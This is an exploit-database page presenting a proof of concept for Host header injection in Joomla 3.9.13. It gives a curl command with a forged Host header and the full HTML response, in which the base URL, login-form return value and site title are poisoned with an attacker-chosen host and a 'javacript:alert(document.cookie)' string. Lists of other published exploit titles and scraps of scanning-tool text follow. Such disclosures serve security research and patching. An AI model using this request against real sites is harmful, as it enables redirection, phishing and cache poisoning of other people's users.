Menu

Search for hundreds of thousands of exploits

"Joomla 3.9.13 - 'Host' Header Injection"

Author

Exploit author

"Pablo Santiago"

Platform

Exploit platform

php

Release date

Exploit published date

2019-11-12

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
# Exploit Title: Joomla 3.9.13 - 'Host' Header Injection
# Author: Pablo Santiago
# Date: 2019-11-12
# Vendor Homepage: https://www.joomla.org/
# Source: https://downloads.joomla.org/cms/joomla3/3-9-13/Joomla_3-9-13-Stable-Full_Package.zip?format=zip
# Version: 3.9.13
# CVE : N/A
# Tested on: Windows 10

#PoC

curl http://localhost/joomla/ -H "Host: exploit-db.com"

<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta charset="utf-8" />
        <base href="http://exploit-db.com/joomla/" />
        <meta name="description" content="javacript:alert(document.cookie)" />
        <meta name="generator" content="Joomla! - Open Source Content
Management" />
        <title>Home</title>
        <link href="/joomla/index.php?format=feed&type=rss"
rel="alternate" type="application/rss+xml" title="RSS 2.0" />
        <link href="/joomla/index.php?format=feed&type=atom"
rel="alternate" type="application/atom+xml" title="Atom 1.0" />
        <link href="/joomla/templates/protostar/favicon.ico"
rel="shortcut icon" type="image/vnd.microsoft.icon" />
        <link href="/joomla/templates/protostar/css/template.css?190197408a83fd286a9c42640a0f2f22"
rel="stylesheet" />
        <link href="https://fonts.googleapis.com/css?family=Open+Sans"
rel="stylesheet" />
        <style>

        h1, h2, h3, h4, h5, h6, .site-title {
                font-family: 'Open Sans', sans-serif;
        }
        </style>
        <script type="application/json" class="joomla-script-options
new">{"csrf.token":"d460ac322fbbb6ae67cc78034182d9e1","system.paths":{"root":"\/joomla","base":"\/joomla"},"system.keepalive":{"interval":840000,"uri":"\/joomla\/index.php\/component\/ajax\/?format=json"}}</script>
        <script
src="/joomla/media/jui/js/jquery.min.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script
src="/joomla/media/jui/js/jquery-noconflict.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script
src="/joomla/media/jui/js/jquery-migrate.min.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script
src="/joomla/media/system/js/caption.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script
src="/joomla/media/jui/js/bootstrap.min.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script
src="/joomla/templates/protostar/js/template.js?190197408a83fd286a9c42640a0f2f22"></script>
        <!--[if lt IE 9]><script
src="/joomla/media/jui/js/html5.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
        <script
src="/joomla/media/system/js/core.js?190197408a83fd286a9c42640a0f2f22"></script>
        <!--[if lt IE 9]><script
src="/joomla/media/system/js/polyfill.event.js?190197408a83fd286a9c42640a0f2f22"></script><![endif]-->
        <script
src="/joomla/media/system/js/keepalive.js?190197408a83fd286a9c42640a0f2f22"></script>
        <script>
jQuery(window).on('load',  function() {
                                new JCaption('img.caption');
jQuery(function($){ initTooltips(); $("body").on("subform-row-add",
initTooltips); function initTooltips (event, container) { container =
container || document;$(container).find(".hasTooltip").tooltip({"html":
true,"container": "body"});} });
        </script>

</head>
<body class="site com_content view-featured no-layout no-task itemid-101">
        <!-- Body -->
        <div class="body" id="top">
                <div class="container">
                        <!-- Header -->
                        <header class="header" role="banner">
                                <div class="header-inner clearfix">
                                        <a class="brand pull-left"
href="/joomla/">
                                                <span
class="site-title"
title="javacript:alert(document.cookie)">javacript:alert(document.cookie)</span>

          </a>
                                        <div class="header-search pull-right">

                                        </div>
                                </div>
                        </header>

                        <div class="row-fluid">
                                                                <main
id="content" role="main" class="span9">
                                        <!-- Begin Content -->

                                        <div id="system-message-container">
        </div>

                                        <div class="blog-featured"
itemscope itemtype="https://schema.org/Blog">
<div class="page-header">
        <h1>
        Home    </h1>
</div>



</div>

                                        <div class="clearfix"></div>
                                        <div aria-label="breadcrumbs"
role="navigation">
        <ul itemscope itemtype="https://schema.org/BreadcrumbList"
class="breadcrumb">
                                        <li>
                                You are here: &#160;
                        </li>

                                                <li
itemprop="itemListElement" itemscope
itemtype="https://schema.org/ListItem" class="active">
                                        <span itemprop="name">
                                                Home
                 </span>
                                        <meta itemprop="position" content="1">
                                </li>
                                </ul>
</div>

                                        <!-- End Content -->
                                </main>

 <div id="aside" class="span3">
                                                <!-- Begin Right Sidebar -->
                                                <div class="well
_menu"><h3 class="page-header">Main Menu</h3><ul class="nav menu
mod-list">
<li class="item-101 default current active"><a
href="/joomla/index.php" >Home</a></li></ul>
</div><div class="well "><h3 class="page-header">Login Form</h3><form
action="/joomla/index.php" method="post" id="login-form"
class="form-inline">
                <div class="userdata">
                <div id="form-login-username" class="control-group">
                        <div class="controls">

 <div class="input-prepend">
                                                <span class="add-on">
                                                        <span
class="icon-user hasTooltip" title="Username"></span>
                                                        <label
for="modlgn-username" class="element-invisible">Username</label>
                                                </span>
                                                <input
id="modlgn-username" type="text" name="username" class="input-small"
tabindex="0" size="18" placeholder="Username" />
                                        </div>
                                                        </div>
                </div>
                <div id="form-login-password" class="control-group">
                        <div class="controls">

 <div class="input-prepend">
                                                <span class="add-on">
                                                        <span
class="icon-lock hasTooltip" title="Password">
                                                        </span>
                                                                <label
for="modlgn-passwd" class="element-invisible">Password
                             </label>
                                                </span>
                                                <input
id="modlgn-passwd" type="password" name="password" class="input-small"
tabindex="0" size="18" placeholder="Password" />
                                        </div>
                                                        </div>
                </div>
                                                <div
id="form-login-remember" class="control-group checkbox">
                        <label for="modlgn-remember"
class="control-label">Remember Me</label> <input id="modlgn-remember"
type="checkbox" name="remember" class="inputbox" value="yes"/>
                </div>
                                <div id="form-login-submit"
class="control-group">
                        <div class="controls">
                                <button type="submit" tabindex="0"
name="Submit" class="btn btn-primary login-button">Log in</button>
                        </div>
                </div>
                                        <ul class="unstyled">
                                                        <li>
                                        <a
href="/joomla/index.php/component/users/?view=remind&Itemid=101">
                                        Forgot your username?</a>
                                </li>
                                <li>
                                        <a
href="/joomla/index.php/component/users/?view=reset&Itemid=101">
                                        Forgot your password?</a>
                                </li>
                        </ul>
                <input type="hidden" name="option" value="com_users" />
                <input type="hidden" name="task" value="user.login" />
                <input type="hidden" name="return"
value="aHR0cDovL2V4cGxvaXQtZGIuY29tL2pvb21sYS8=" />
                <input type="hidden"
name="d460ac322fbbb6ae67cc78034182d9e1" value="1" />       </div>
        </form>
</div>
                                                <!-- End Right Sidebar -->
                                        </div>
                                                        </div>
                </div>
        </div>
        <!-- Footer -->
        <footer class="footer" role="contentinfo">
                <div class="container">
                        <hr />

                        <p class="pull-right">
                                <a href="#top" id="back-top">
                                        Back to Top
         </a>
                        </p>
                        <p>
                                &copy; 2019
javacript:alert(document.cookie)                    </p>
                </div>
        </footer>

</body>
</html>

#PoC Visual
https://imgur.com/a/IgO4ZxI
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2019-11-18 "TemaTres 3.0 - 'value' Persistent Cross-site Scripting" webapps php "Pablo Santiago"
2019-11-18 "TemaTres 3.0 - Cross-Site Request Forgery (Add Admin)" webapps php "Pablo Santiago"
2019-11-14 "oXygen XML Editor 21.1.1 - XML External Entity Injection" local windows "Pablo Santiago"
2019-11-12 "Joomla 3.9.13 - 'Host' Header Injection" webapps php "Pablo Santiago"
2019-11-08 "Adive Framework 2.0.7 - Privilege Escalation" webapps php "Pablo Santiago"
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected